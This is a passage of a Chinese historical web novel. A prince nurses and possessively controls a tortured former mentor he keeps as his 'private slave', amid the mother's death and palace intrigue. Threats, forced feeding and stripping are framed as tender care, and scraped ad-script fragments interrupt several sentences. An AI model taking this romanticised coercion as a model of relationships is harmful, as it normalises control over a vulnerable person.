这一次依然是不告而别。 他还想着把人养好,再欺负蹂躏。 可是他想欺负的人却不见了。 ——你爱走不走谁愿意管你。 顾棉踢掉靴子,爬上床,熄了蜡烛。 ——睡觉! 他陷在那些褥子里,感觉全身都被包裹了。 明明很软很舒适,为什么周卜易却不肯领情? 周卜易此刻一定在某个地方笑话他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是个傻瓜吧,特意入宫去请太医,结果病人早跑了。 顾棉闭着眼睛,阖眸睡觉。 万籁寂静的寝殿里,似乎连风声都能听得分明。 沉重的呼吸声,伴着压抑不住的呻吟。 顾棉蓦然睁眼。 ——谁?谁藏在这里? 难道老皇帝已经等不及了,现在就要对他动手? 顾棉迅速起身,点燃案头油灯。 空无一人。 只有帘子被风吹得飘起。 顾棉松了一口气,大约是他今天气急攻心,以至于出现幻听—— “唔……” 这…这是周卜易的声音! 顾棉立刻一膝跪地,压低身子,手举着油灯伸进床底。 光线亮起,照到美人满是泪痕的脸,他身上衣衫已经被冷汗湿透了。 他蜷缩在床底下,一双美眸里充斥着戒备和凶狠。 顾棉把灯放在地板上,默默盯着缩在最里面角落的周卜易。 周卜易现在的状态,像极了一只走投无路于是发起狠来的野兽。 ——毒蛇朝他吐着信子,蓄势待发随时可能咬他一口。 顾棉觉得周卜易的状态很不对劲,他好像完全不认得人,只是本能对所有不属于他自己的动静感到排斥。 周卜易捂着自己的小腿,好像正在承受巨大的痛苦。 ——他不是胃疼吗?为什么反而要捂着腿和膝盖? 美人衣衫上印出了密密麻麻的血点,他的毛孔在渗血! 顾棉站起来,径直推开门,“来几个人,把这张床给本王抬起来!” 窸窸窣窣的动静让美人更加不安,他瞪大了眼睛看着那些搬床的下人,眼底凶光毕现。 顾棉看准了时机,赶在受惊的美人又钻到别处前,一把将人抱了起来。 甫一离开地面,落入温暖的怀抱,周卜易就松开了捂着腿骨的手,转而去捂肚子。 下人全都出去了,顾棉脸色很不好看,他把美人按在床上,又一次把人剥了个精光。 “别动!”顾棉把周卜易圈在怀里,手搭在他腿骨上一点一点往下摸。 那里并没有入针,他的腿骨也是好好的。 为什么那里的痛会盖过胃里的痛? 顾棉不知道自己是什么心情,是怎样打了水来替人擦干身上的血迹,又是怎样给人换上了自己的亵衣亵裤。 明明已经决定再也不要管他了。 顾棉一夜没睡,怀里的美人一直在乱动,他怕那些针再作祟,只能用柔软轻盈的新被子把人裹起来,他隔着被子抱着周衍,把人牢牢禁锢在怀里。 还没入秋,这是奉源二十一年的夏末。 两个人的身上都大汗淋漓,整整一夜,顾棉从未松手。 汗出得太多,美人已经有些虚脱了。 可那也比让他活生生痛死强。 天亮的时候,周衍才恢复那总是恹恹的、万事随性的样子。 白天的他跟晚上的他完全不是一个人。 “你每天晚上都这样吗?”顾棉沉着声音问道。 美人有气无力应着,语气甚是敷衍,“我的爷,您这是嫌麻烦了?” “奴有疾,发起病来就是这么可怕”,他不在意地笑了笑,“奴折腾困了,不丢奴的话,劳驾爷出去。” 5. 他还敢嫌弃本王了 顾棉也很困,而且这是他的寝殿,他的床! ——凭什么他要出去? “别睡太死了,黎太医过会就到”,顾棉把人放下来,拉了蚕丝被的一角盖上周衍肚子。 周衍懒得应,头一偏就旁若无人睡起来。 顾棉出去了,一路走到亭里坐下,眼眸静静望着面前的湖水,不知道在想什么。 一尾锦鲤跃出水面,又很快藏进荷叶之下。 池里垂了柳条,被微风推着划水,池面上有柳树倒影。 于是顾棉想起来,自己其实更早的时候就见过周卜易。 大约也是个夏日吧,耳朵里是聒噪的蝉鸣。 太傅给三个皇子留了功课,让他们对对子。 明烛晕染纸笔墨。 顾棉一边走,一边沉思,“流萤……浮动月黄昏。” 他出神地想着,不曾料撞到了人。 是个极美的人。 周卜易伸出一根指头,抵着他额头把他推远,笑。 “娘娘让你藏拙”,周卜易叹,“这对儿不好。” 他不知道,周卜易何以知晓母妃给他说过的话。 他抿了唇,心有不怠,“哪里不好……” “志气太满”,周卜易看着他,像看一个小傻子,“借着流萤的光也要读书,小殿下,你生怕别人不知道你野心勃勃?” 顾棉低头,片刻后伸手,拽住周卜易的袖子,“先生教我……” “没什么好教的,头两个字改成暗香便是”,周卜易抽走自己的袖子,“不许唤我先生,现在的你,还没有做我学生的资格。” 顾棉那时候也就四五岁的样子,他看着周卜易的背影,缓缓握拳。 明烛晕染纸笔墨。 暗香浮动月黄昏。 只是两字,这意味就变了。案上明烛照着孤零零的文房四宝,而它们的主人却在月下邂逅佳人。 顾棉交了功课,果然被太傅狠狠骂了一通。 圣上路过,站在门口听了一阵,脸上带着一丝笑容。 众人跪迎之时,皇上却将他抱起。 “好了爱卿,差不多行了”,顾君颐抱着他的幼子,目光中满是宠溺,“不喜欢读书,父皇带你去看看刚送进宫的孔雀鸟可好?” 顾棉后背悄悄湿了,他看着书桌的眼睛里不敢有一丝不舍。 “好。” 顾棉很小的时候就知道,自己跟两位皇兄不一样。 他的母妃是敌国的公主。 北离战败之后把她送给了顾君颐,以平息顾君颐的怒火,求一个苟延残喘。 谁都可以有才学,唯独他顾棉不可以。 三皇子顾棉,必须是一个扶不上墙的烂泥。 温妃跟他说这些的时候,神情很复杂。 有身不由己的悲郁,有不甘和怨恨,但这些最后都化作了冷静和理智。 她说,“你要学会藏拙,否则我们会死。” 会死得悄无声息。 顾棉望着平静的湖水,年幼时的记忆在此刻被回想、深思。 ——那么周卜易呢?当年周卜易为什么要替他遮掩。 周卜易到底是什么人? 为什么后来的每一次他偷偷去找周卜易,得到的永远是疏离和刁难? 黎阳春来的时候,已经快中午了。 顾棉坐在榻边,目光落在美人面颊。 黎阳春每皱一下眉头,顾棉的心就跟着颤一下。 把到最后,黎阳春大惊失色,直接跪在了地上,“殿下恕罪!这…这……” “怎么回事?” “这…这位公子…是…是死脉啊!” 黎阳春吓得不轻,“他…他按理来说已经死了,不应该啊……” 美人的目光很静,好像并没有什么意外。 “死了”,美人薄唇轻言,“难道如今跟你说话的是鬼?” “嗯?”他挑眉笑着,眼神无辜,“你看我像鬼么?” ……像,太像了。 连顾棉都觉得像。 像个贱兮兮的讨厌鬼。 “你闭嘴”,顾棉横了周卜易一眼,继而看向黎阳春,“想想办法,本王要他的命还有用。” 黎阳春点点头,开了个方子,“劳烦殿下叫人按着这个药方抓。” 顾棉接过方子,就出去了。 府里没有可以信任的人,他要亲自去抓药才放心。 直到此时,周卜易才懒洋洋看着黎阳春,“什么话还非得给人支走?” 黎阳春左顾右盼了一阵,贴近,“北离皇室气数已尽,公主让您找个机会取而代之。” “不去”,周卜易翻了个白眼,“我死了。” 黎阳春一噎,道,“脉象上确实是死了,一时没想到是……” “你脑子呢?”周卜易眯起眼睛,如果不是身体虚弱,他很可能已经动手打人了,“顾棉是个聪明人,他只要顺着这条线查,我立刻就会暴露。” 黎阳春沉默了一阵,道,“您不会暴露。” “嗯?”周卜易目光冰冷下来,“他死了?!” “您出狱之前,北离神医华山泉就已寿终正寝,没人能查到您头上。 “公主说……她永远记得您这一脉的牺牲。” 周卜易很久没有说话,黎阳春收拾好药箱,最后看了周卜易一眼,“您要快点好起来……殿下日后能依靠的就只有您了……” 周卜易知道黎阳春这话是什么意思,今夜之后,世上将再无温妃。 “公主知道殿下从小就仰慕您,她最后的心愿……是希望您能做殿下的先生……” 黎阳春很快就消失在了周卜易视线里。 周卜易翻了个身,面对着墙,背对着门。 没有人知道他在想什么。 顾棉的脚步声近了,美人好像故意躲着他,只留给他一个背影。 顾棉放下药碗,蹙眉,“翻过来。” “爷放着吧,奴等凉了自己喝。” “翻。过。来。”顾棉一字一顿,见人不动,他直接上手把人抱到腿上。 到这时候他才看见美人脸上有泪痕。 “本王……弄疼你了?”顾棉气势瞬间弱下来,他有些手足无措用手给美人擦脸,“谁让你不乖…本王是给你治病,又不是要你的命,你犟什么呢……” 顾棉用臂弯搂着人,手端着药,一勺勺喂给周卜易。 仍旧是喝一半漏一半,周卜易喝着喝着就又落了泪下来。 “很疼吗?”顾棉把手盖在美人肚皮上,“本王轻点揉……” 黎太医跟他说了,周卜易的内脏没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 碎,人内脏要是碎了,是活不成的。 “他这就是饿狠了,饿出胃病来了,慢慢养着,以后渐渐会好一点的。” 顾棉剥了颗奶糖放在美人唇边,“北离特产,昨夜进宫母妃刚给本王的,便宜你了。” 周卜易看着那颗糖,很想哭。 ——臭小子,以后你再也吃不到了。 美人偏过头,语气里带着一丝嫌弃,“爷自己留着吃吧,奴不至于喝个药还要人哄。” 顾棉态度很强硬,他把周衍脑袋掰回来,然后捏开周衍的嘴,把糖塞了进去。 ——周卜易身上什么时候能长点肉呢?抱着他像抱着一堆柴火,硌得人生疼。 外面是淅淅沥沥的水声,周衍抬头往窗外看了一眼。 正是盛夏,窗外草木深,浓郁的绿本该带着一点暑气。 可是现在下雨了,于是就添了一抹清凉。 正是热的时候,周衍却只觉出冷。 那颗糖很甜,奶味很浓郁,足以盖住药汁的苦涩。 顾棉把头埋在美人颈窝,在他耳边吐着热气,“午膳还是粥食,本王叫人加了点剁碎的菜叶子,再不想,也必须吃足一碗。” 窗外的雨声小了又大,顾棉揉着他小腹的手一刻不停。 被体温暖热了肚皮,胃里好像是舒服了一点。 顾棉的手不轻不重,匀速朝着一个方向,揉得人都有些犯困。 周衍忽然开口,“抱我出去听听雨。” 顾棉下意识抱着人站起来,然后他才反应过来不对劲。 ——他干嘛要听这讨厌鬼的话??? 顾棉脸色有点黑,“周衍,本王给你脸了,让你使唤起本王来了?” 美人咬唇,一副被凶到了,吓坏了,要哭了的样子。 “你…”顾棉拿他一点办法也没有,无奈出门,在檐下找了个藤编的躺椅坐着,“听完给本王好好吃饭。” 雨水顺着屋脊滑落,滴答——滴答—— 庭院变得泥泞湿滑。 花瓣和草叶上凝了晶莹剔透的水珠,又被雨打得滑下。 檐下很安静,实木小桌旁,侍女专心沏着茶。 顾棉尝了尝温度,投喂怀里美人。 美人很是嫌弃,“拿远点,奴不喝口水。” 顾棉手一顿,差点没给杯子摔了。 如果不是理智尚存,他可能会抱着周卜易直接把人亲死。 周卜易哪里都好,就是长了个讨厌的舌头。 有那么一瞬间,顾棉甚至想着,他要不要去那位沈前辈留下的余字号买点哑药。 余字号出品,必是精品,想来效果一定好极了。 长廊尽头出现人影,侍女用托盘端着两碗粥过来,把它们摆在了小桌上。 那侍女手上还拿着一块毛巾,周卜易心头忽然有种不好的预感。 顾棉一个眼神,那宫女便捧着毛巾上前,垫在美人下颌。 顾棉满意点点头,舀了一勺,吹凉。 ——这样就不会流的到处都是了吧? 至于周卜易会不会羞愤欲死,那不是他会考虑的事。 顾棉看不见周卜易那要吃人的眼神,也感受不到他那十步杀一人千里不留行的气场。 周卜易轻轻笑着,咬牙切齿,“爷果真是费心了。” 6. 他是毒药,勾人上瘾 周卜易是一个极其孤傲之人,他从不喜欢别人看见他的难堪。 大约是奉源九年的冬日吧,天还不是很冷,湖面只结了薄冰。 周卜易披着厚厚的貂裘,自船头上岸,向着他一步步走来。 ——不,不是向着他,只是刚好他站在周卜易要去的方向罢了。 或者不如说,是他从晨起,就一直站在这里等着周卜易。 “先生……”顾棉眼里是惊喜的笑意,小脸被寒风吹得红扑扑的,他快步迎上去,要去牵周卜易的手。 周卜易面色不太好看,皱着眉头,赏了他一个字。 “滚。” 顾棉愣住了,他站住脚,后知后觉发现,周卜易应该是病了。 也有可能是晕船罢?顾棉小心翼翼凑近,抬起手想要摸一摸周卜易额头。 周卜易就用一种肃穆的眼神看着他,那种比冬风还要萧条的目光让他打心底里发寒。 “殿下”,声音里是凉薄至极的笑意,“需要臣教您滚是什么意思吗?” ——好啊。 顾棉低着头暗暗想着。 ——只要你肯教我。 “啧”,周卜易看着面前埋着脑袋的鹌鹑,一眼就看出来他又在钻牛角尖。 “我不会教你”,周卜易走得很干脆,“再敢叫我先生……” 周卜易一顿,回头轻笑,“我就把你丢到河里去喂鱼。” 顾棉看着那笑容——当真是美得惊心动魄。 顾棉心一横,追上去,死死攥住美人袖口,“先生…您好像发烧了,我……” 耳边是呼啸的风声,然后是哗啦的水声。 什么叫言出必行,这就是了。 顾棉四肢慢慢变得无力,渐渐沉进水底,扑腾到最后的时候他还在想着,周卜易会不会回头。 没有。周卜易径直走了。 天真的很冷,而且他不会游泳。 周卜易怎么就这么狠心,怎么就这么不留情? 惊慌失措的护卫把他打捞起来,随身的小公公给他擦着身上的水。 顾棉抱着膝盖,红着眼睛,但没有哭。 浑身都湿透了,冷风一吹,他也发起烧来。 周卜易就是这么恶劣,他自己的难堪叫人看见了,就要叫别人也跟着难堪起来! 哪怕别人是来关心他的,他也要叫别人比他更难堪! 顾棉在风中瑟瑟发抖,如那枝头将落不落的枯叶,左右摇摆。 他想,他以后都不会再去触周卜易的霉头了!再也不会了! 可后来时间告诉他错了,他依然会恬不知耻凑上去,然后被美人或调笑或冷淡着推开。 不食髓,不知味,旁人便不能理解他这种执着。 周卜易是味毒药,他勾人上瘾。 “手稳着点”,美人似笑非笑——淡笑中藏着疏远和轻蔑,甚至有些鄙弃。 “王爷若真是不喜,大可以直接泼奴脸上。” 顾棉回过神,恍然惊觉自己刚刚都干了些什么蠢事——他捏着勺子喂错了地方,糊了周卜易一脸…… 虽然是他有错在先,但他这辈子都不会再向周卜易示弱了! “周衍,本王最后一次提醒你的身份及处境”,顾棉仿佛化作冰山,时不时散发冷气,他给美人擦脸的动作谈不上多温柔,“你是本王的私奴,你的舌头,应该用来恭维或者取悦本王。” “如果你学不会说本王喜欢听的话,本王不介意让你再也说不出话。” “行啊”,美人从善如流,“我求求您用心点?” 带着一丝讽刺,“别再给奴弄个大花脸了,丑得奴心里直发慌。” 顾棉深吸了一口气,他总是说不过周卜易的。 周卜易那三寸不烂之舌可战天下群儒而稳立不败之地。 他干脆闭了嘴,只拿着调羹把周卜易当个喵喵乱叫的野猫儿抱在怀里认真投喂。 可不止是个野猫儿,还是个连饭都吃不好的奶猫儿。 这么想着,顾棉心里果然松快多了,喂完了米糊,他自己那碗被他端起来一饮而尽。 有些凉了,不过没关系,正是暑日里,他可没周卜易那胃娇气。 檐下雨声不大不小,用了饭食,血气上头就更容易困倦。 陪着周卜易不眠不休折腾了一夜,只要是人不是神仙都受不住。 顾棉就那么躺在藤椅上,听着雨打芭蕉声,闭上了眼。 腿上窝了只“猫”,真有些岁月静好的意思在里面。 顾棉想,这就是他想要的。 顾棉是真困了,想了没一会就头一歪,陷进梦里。 入眠前顾棉最后还在想,周卜易什么时候能长肉。 太轻了,瘦瘦小小的,缩在他怀里的时候真比猫大不了多少。 要是能再多点肉就好了,抱着软软乎乎的,肯定很舒服。 雨是什么时候停的呢?顾棉再睁眼的时候,就只看见美人放大的面孔。 周衍见他醒了,淡淡收回理他鬓发的手,往里屋扬了扬下巴。 顾棉抱着人回屋,美人眸色很深,看不清是什么情绪。 顾棉只是本能从其中感到一丝悲伤。 “宫里来人了,王爷出门的时候带上灯笼和伞。” 顾棉其实没睡多久,现下离天黑还远。 “你都知道些什么?”顾棉皱起眉头。 他凭什么这么笃定自己要天黑后才能归来? “奴能知道什么?爷有这功夫揣度我一个倌儿,不如去问问前院等着的公公。” 周卜易把叹息打碎咽进了肚子里。 ——孩子,我要如何告诉你,你母妃已不在人世的事实? 周卜易的声音带着些许催促意味,“还不动?再不走这天又要下雨了。” 像是印证着周卜易的话,天边忽有雷声炸响。 顾棉一头雾水去了前院,闪电划破天际照着公公那张惨白带着红肿眼睛的脸。 心里咯噔一下,好像有什么不好的事即将发生。 “三…三殿下……”,那公公颤抖着手递过来一根白布条,“讣告已经张贴,您快些更衣,随咱家入宫吧!” “就在刚刚,温妃娘娘突发恶疾,薨了!” 又是一声炸雷,耳膜都被震得发麻。 顾棉瞳孔慢慢放大,那一瞬间他其实是有点迷茫的,脑子里浑浑噩噩转不过来弯儿,不太能理解公公话里是什么意思。 他只是站在那,满身落寞,又无动于衷。 直到被人推搡进最近的厢房,直到侍女上前扒了他的外衣,直到麻衣孝服上身的时候,顾棉还只是愣愣发着呆。 白色布条压塌发丝系上额头的时候,顾棉忽然抓住一个侍女的胳膊,“是谁走了……?” 那一声问句里,顾棉的嗓音实在是破碎得不成样子。 听得叫人心碎。 外人怎知其中心痛,那侍女恭敬却不带什么感情,“殿下怎么忘了?是您的母妃,温妃娘娘。” 于是就像是被抽干了水分的树叶,外表还鲜亮着,内里其实已经不剩下什么了。 有一种莫名的恐惧在刺激他的头皮,“走了是什么意思?本王一时想不起来了……” “意思就是娘娘升仙了”,侍女看着失魂落魄的顾棉,不由心生怜悯。 三五个人一齐上阵,为顾棉梳妆打扮,隆重得仿佛要去赴一场喜宴。 可是身上是素白的衣,束发的是简洁的玉冠。 脑后两根纯白飘带垂下来。 顾棉怔愣一会,好像抓住了什么,只在脑海里一闪而过,稍纵即逝。 于是他问,“这是赴谁的宴……?” “殿下… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …”那侍女眼睛发苦,声音发颤。 她还没来及说什么,就被顾棉打断。 “给本王换件红的来,大喜的日子穿这么素做什么?” “殿下!” “你听不见本王说话吗?” “殿下……是娘娘走了……” “本王让你换红的来!” “好,奴婢去换……”那侍女哭着跑出去了。 外面雷声一阵接一阵。 “殿下疯了!”侍女惊慌失措拉着公公,“殿下他疯了!” “什么?!”公公面无血色,大步冲进房门。 顾棉正对着大门,脸上是清晰的两道泪痕。 那公公顿时松了一口气,还好不是疯了,只是一时魇住了。 不过疯了其实也没什么的吧?那公公暗自想着,若是顾三皇子疯了,陛下就更加高枕无忧了。 傻子和疯子没多大区别,只要是个废人就行。 顾棉站起身,快步走出门,然后纵马入宫。 奉源二十一年,九月初三日,温妃娘娘苏寻雁于上阳宫病薨。 圣上感其昭德,追封贵妃位,赐字娴。 娴贵妃之死,唤醒了蛰伏在暗中的那一脉人。 神都的天,要变了。 周卜易的呼吸声格外轻也格外绵长。 终于还是走到这一步了吗? 天要黑了…… 周卜易将身体蜷缩起来。 他其实想要等一等顾棉,想要好好安慰他一下。 可是天黑得真的太快了,顾棉回来的太晚了。 顾棉走入寝殿,又是一如昨夜那般不见人影。 他径自走到床边,席地而坐。 “我很难受……”他也不管躲在床底下的人听不听得懂,“我真的很难受,也很不解……” “我入宫的时候,母妃还好好的,她跟以前一样对我笑,问我在外面过得好不好。 “我不明白她什么时候得了病,太医月月都给各宫娘娘把脉,为什么这恶疾来得如此突然没有征兆? “先生…你替我解解惑好不好…… “为什么本王感觉你们所有人都在谋划着什么,唯独把本王蒙在鼓里。” 温妃的死是有迹可循的,顾棉想,昨夜他去上阳宫的时候已经很晚了。 苏寻雁早该睡了,可顾棉进去的时候,却看见她衣冠整齐坐在灯下。 “阿棉”,苏寻雁轻声唤了他的名字,“娘想回北离看看了。” “离家二十载,娘都快忘了北离是什么样子了。” 彼时不知离愁苦,待回头。 已是棺中人、陵中墓。 “阿棉,这里有一包糖,一共三十四颗,你记得慢点吃。” 昨夜星辰少,灯下人影幢。 今日方知诀别意,徒余涩苦在心头。 “阿棉回去吧,娘有些困了。” 他只当她眼里那抹不舍是因着离别。 怎么会是永别呢? “周卜易,你给本王出来”,顾棉吸了吸鼻子,“你别以为躲着不说话,本王就不知道你也在局中。” 顾棉捂着绞痛的心口,语气不自觉染上哭腔,“先生…你出来教教我,你们在谋划什么?” 为什么他有种预感,他身边的人很快就会一个个离去。 包括周卜易。 “您教教我吧…要怎样做才能破局?” 周卜易的毛孔又开始渗血,是那样的触目惊心。 顾棉忽然觉得害怕极了,他觉得他抓不住周卜易,早晚有一天,周卜易要以一个极其惨烈的死法倒在他面前。 “先生……”顾棉浑身都在颤抖,“求您教我……” 可周卜易不应,周卜易那双淬满寒毒的眼睛看得人是如此绝望。 绝望得仿佛能就此死去。 7. 给他的脏猫洗个澡 周卜易听不见,也看不清。 在他的眼里,顾棉早已化作了那个身着锦衣的妖魔,正居高临下俯视着他。 “臣服本王是你唯一的生路。” 看着他那双布满杀意的眼睛,顾承年竟是轻笑着鼓了鼓掌。 “一个月,本王要你们彻底将他的傲骨打碎。” 顾承年的声音很随和,“如果一个月后他依然不能为本王所用,那么就送他上刑场吧,不要给我那太子皇兄任何可乘之机。” 周卜易死死捂着自己的腿骨,难抑口中痛呼。 伤已经痊愈了,甚至都不曾留痕,但疼痛的感觉已永远镌刻在了上面。 刻骨铭心。 顾棉逼着自己慢慢冷静下来,他颤抖着起身,喊人进来。 与昨夜并无什么区别,顾棉丝毫不理会美人凶巴巴的眼神,直接挪开床把人抱起来。 为什么只要周卜易离开地面,就会松开捂着腿的手? 那地上有什么?或者不如说,曾经诏狱的某块地上,有过什么? 是什么,让这个常年在边南关过着刀尖舔血日子连死都不惧的人,怕成这样? 怕到即使伤好了,也依然会幻痛。 顾棉几乎已经可以笃定了,周卜易正陷在过去某段恐怖回忆里无法自拔。 顾棉抱着美人,目光是前所未有的森然冷厉,“给本王把这殿内所有能钻人的地方用棉花和软布堵死!” “本王只给你们一天时间!一天之内堵不完,本王拿你们的头颅来填!” “是!”小厮们战战兢兢应了,然后一哄而散,找棉花的找棉花,寻软布的寻软布。 “王爷……”内院闹得动静太大,惊动了管家,许永元捻着提灯走进,“府里存货可能不够,老奴带人采办着?” 顾棉“嗯”了一声。 母妃新丧,他要守灵三日,每夜直到卯时方能回府。 那个时辰,天都快亮了。 他不能放任周卜易就在床底下过夜。 殿内正在“大兴土木”,顾棉只能抱着人出去。 “你安分点行不行”,顾棉不自觉收紧了手,“本王已经很累了。” 他在灵堂跪了一夜,身体已经到极限了。 疲惫的不止是身体,还有他的心神。 檐下雨声大了,墙边靠着的纸伞还在淌水。 顾棉坐在躺椅上,强撑着眼皮,圈住不断挣扎的周卜易。 直到天彻底大亮,直到美人在他怀里精疲力尽瘫软下来。 顾棉松开手,带着浓浓的倦意阖眸。 廊上风雨交加,两人紧紧依偎在一起,风声雨声都不能打扰他们。 周衍咬了咬牙,克制住快要崩溃的情绪。 他真的很不想,在这样的时候,还要让顾棉为他分神。 顾棉似乎睡着了,周衍费力抬起胳膊,揉了揉他的脑袋。 周卜易看着大雨倾盆,瓢泼下来,这昼竟如夜般昏暗。 “果然……”周卜易喃喃自语,“我还是没有自己以为的那样坚强……” ——我本以为能一世护你于羽翼之下。 可现在他赖以自信的翅膀已经折断了。 周卜易出神地听着雨水叮咚。 他要快点走出来,再给他多一点时间,他一定可以走出来。 顾棉是被粥的香气唤醒的,一睁眼就看见他的美人像一只真正的猫那样乖乖的窝在他怀里。 破碎的心有了一丝慰藉。 如果不是周卜易,他真的不知道在这举世皆敌的地方该如何坚持下去。 从前还有母妃,今后就只有周卜易了。 顾棉调整了一下姿势,让美人稍微坐正了一点,他端起粥碗,还没威胁,美人已经主动张口。 ——怎么这么乖觉? 顾棉的心颤了一下——他是不是在心疼我了? “好乖……”顾棉叹息了一声,“要是你能一直这么乖该多好……” 到那个时候,他是不是可以幻想幻想……周卜易对他其实有情? 美人皱着眉头在努力吞咽,顾棉喂得很慢。 周卜易一边喝一边往外吐,一边忍着吐一边继续往下喝。 顾棉想着,这样就好,至少周卜易能活着。 他还没来及庆幸,下一瞬,周卜易就将吃进去的那些东西全部吐了出来,吐到无物可吐的时候—— 他吐了血。 一时说不好是谁的难过更多一些。 顾棉抖得越发厉害,他给美人擦嘴唇的袖子快要抖出残影。 “好了好了,不许吐了”,顾棉声线颤得快要听不清他在说什么了,“不许吐了听见没?本王已经叫人去熬药了……” ——周卜易,母妃已经离开本王了。 你怎么可以狠心,也离我而去? 顾棉的脑子乱得如那地上的粥一般无二,心里也一揪一揪的疼。 “是本王喂太急了,等会喝完药我们再来一次”,顾棉盯着自己袖子上的血色,没忍住哽咽了一下,他一顿,慌忙冷下声掩饰,“再敢吐脏本王的衣裳,本王就把你这只脏猫丢出去当野猫……” “好啊”,美人揪住他袖子,明明白白看见那上面有血,“奴是不中用了,爷要丢就趁早,养熟了奴就来不及了,奴会认家。” 家猫是丢不掉的,它总会自己找回来。 ——顾棉,我早晚都会把你送上那个位置。 在我死前。 家猫是丢不掉的,除非它死了。 顾棉眼睛里面好涩,一如奉源十一年那个秋日,醒来后只看见人走茶凉的时候一样苦涩。 ——周卜易,求求你赶紧长点肉吧,为什么本王感觉你快要碎了…… 顾棉抱着他的猫,穿梭在长廊里。 他不想等药了,他的猫好脏,他要去洗猫。 后院有一方浴池,池子够大,足够他施展了。 顾棉一股脑褪了脏污的外衫,然后一件一件小心翼翼脱去美人身上单薄的亵衣。 为什么?为什么夜夜都在跟着换,可周卜易衣衫内侧依旧永远满是血点。 周卜易啊,你身上的血为什么就是止不住呢? 周卜易的眼神很奇怪,他带着叹息,安慰着顾棉,“一会别怕……” 怕什么呢? 顾棉搂着人下了水,不过只是一瞬,那池子里就铺满了血线! 那些游离的血丝从周卜易身体里流出来,然后散开,很快晕染红了整个浴池! “奴身上的针,是中空的”,美人笑着看着他,“别怕啊王爷,要洗就快点,血流没了,奴可能会变成一具干尸。” 顾棉唰一下出水,他快要被这个混蛋笑得不能呼吸了。 周卜易那美艳动人的笑着实令人窒息。 ——诏狱! “周衍,你还能笑得出来”,顾棉眼底一片猩红,他手忙脚乱给人盖上柔软的毛巾,“来人!快给本王来人!” “拿着本王的拜贴立刻去请华山泉!” 北离神医华山泉自幼与他母妃私交甚好,更是跟着她远嫁朝歌,见是他请,一定会出手的! 华山泉只要出手,一定可以取出这些该死的针! 美人忽然伸出食指,抵住他的唇,似是想要叹息,却不知为何最终只是笑笑,“算了吧,我的爷……” “华老今年春上就埋了。” ——华山泉死了?为什么他一点音信都没收到? 为什么死得如此突然,就如他的母妃一样。 如被晴天霹雳击中要害,顾棉两腿直打哆嗦。 深深的绝望和什么都不知道的无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 力感已经将他完完全全笼罩。 良久,顾棉的眼神渐渐坚定起来,这世上的神医又不止华山泉一人! “本王不准你就这么算了”,顾棉用最轻的力度把人裹好,“给本王好好吃饭、好好吃药,一碗粥吃不进去就先吃半碗。” “周衍,你吃进去多少,本王就陪着你吃多少,你吃什么本王就陪你吃什么。” 顾棉直勾勾盯着怀里的人,直到美人妥协似的点了点头。 仍旧是那张藤椅,仍旧是一勺勺喂进去。 褐色的药汁顺着美人下颌流下来,在他苍白的皮肤上划出一道弯弯曲曲的线。 ——他这个样子真的很诱人。 可顾棉的心里,却只有一阵又一阵绞痛。 “本王下午要去问青天”,顾棉像汇报行程一样一件件说给周卜易,“去喝酒买醉,是真喝。” 他不想利用自己母妃的死,可他母妃不能就这么白死。 他要坐实自己窝囊废的名头,顾君颐才有可能对他放下戒心。 “明日黎明时会归来”,顾棉把人放回榻上。 殿内的一切都已经布置好了,就连地板上都铺满了褥子。 顾棉随便换了件素色便衣就出门了。 雨过初晴,长街上偶尔可以听到行人的议论。 说是娴贵妃新丧,三皇子好生不孝,在这节骨眼儿上为了他那个宠上天的贱奴买空了整个神都的布料铺子。 “真为娘娘不值,养了这么个白眼狼。” “裁个新衣就要搬空整个神都,好大的手笔。” “陛下圣明,一早就……” 那人忽然噤声,俯首低头,“二爷……” 顾承年点点头,朝那人儒雅笑笑,转而走向顾棉,“阿棉,你要跟皇兄一起进宫吗?” 顾承年的语气中带着些许悲伤,“本王初回神都,还没来得及去吊唁。” “阿棉,节哀顺变。” 世人皆知顾承年和顾良平自小就宠溺他这个弟弟。 顾承年尤甚。 二皇子善经商,又能笼络人心,顾棉在外惹出事来都是他给摆平。 端得是兄弟情深。 “皇兄”,顾棉垂眸掩去所有情绪,语气一如平常,只也添了点悲伤,“心里难受,我准备寻几个朋友不醉不归。” “是这样吗”,顾承年温和笑笑,“那今夜皇兄帮你守灵,你好好玩,痛快一点。” 一个“玩”字,就给顾棉的行为定了性。 周遭人的目光更加鄙夷——什么心里难受,无非是按捺不住寂寞的心,想寻欢作乐。 顾棉像是听不出来这话里的深意,他感激涕零,“皇兄…父皇那边恐怕不好……” 说到这,他似想起来什么,斟酌着贴近顾承年耳边,压低声音开口,“父皇让二皇兄去侍疾,却不叫大皇兄去,想来……” 顾承年把顾棉上下打量了一番,拍了拍顾棉肩膀,“三弟长大了,学会动脑子了,不过……” 顾承年盯着顾棉的眼睛,想要看出他到底是无心之言还是有意挑拨离间,“不过皇兄以为,这应当是父皇的考验,想看看我们是否兄弟和睦。阿棉可不要犯傻,你若是在太子那里说错了话,到时候伤了和气,皇兄可要恼你。” 无心之言倒也罢了,只能说这个弟弟实在是口无遮拦。 但要是有意离间,那他还真要小心提防了。 “阿棉既然怕父皇怪罪,那便晚些再来灵堂陪皇兄吧。” 顾承年笑得温柔又宠溺。 ——好一个陪皇兄,竟是直接反客为主。 顾棉压下心底怒意,乖顺地嗯了一声。 他不想再陪这笑面虎虚与委蛇,佯作急切之色道,“皇兄,我……” 顾承年轻轻颔首,“瞧你急得,去吧。” 8. 他的猫怎么还咬人 “等会”,顾承年含笑喊住顾棉,待顾棉回头,便递了几张银票过去,“拿好了,跟友人玩大方一点,去吧。” 顾棉攥着银票,道了声谢,就离开了。 他是问青天的常客了,往常老鸨子一见着他来,就会三步并作两步迎上去。 今日却迟迟不见人影,他拉了个打杂的问过才知道这老鸨有事不在楼里。 远处陈侍郎的公子哥正向他招手 “棉哥儿!来这边!” 顾棉顺着声音看过去,那边桌上已经坐了几个人了,怀里各抱着姑娘。 还有两个面若冠玉的可人儿站在空位边上,每一个人都敞着衣襟,搔首弄姿。 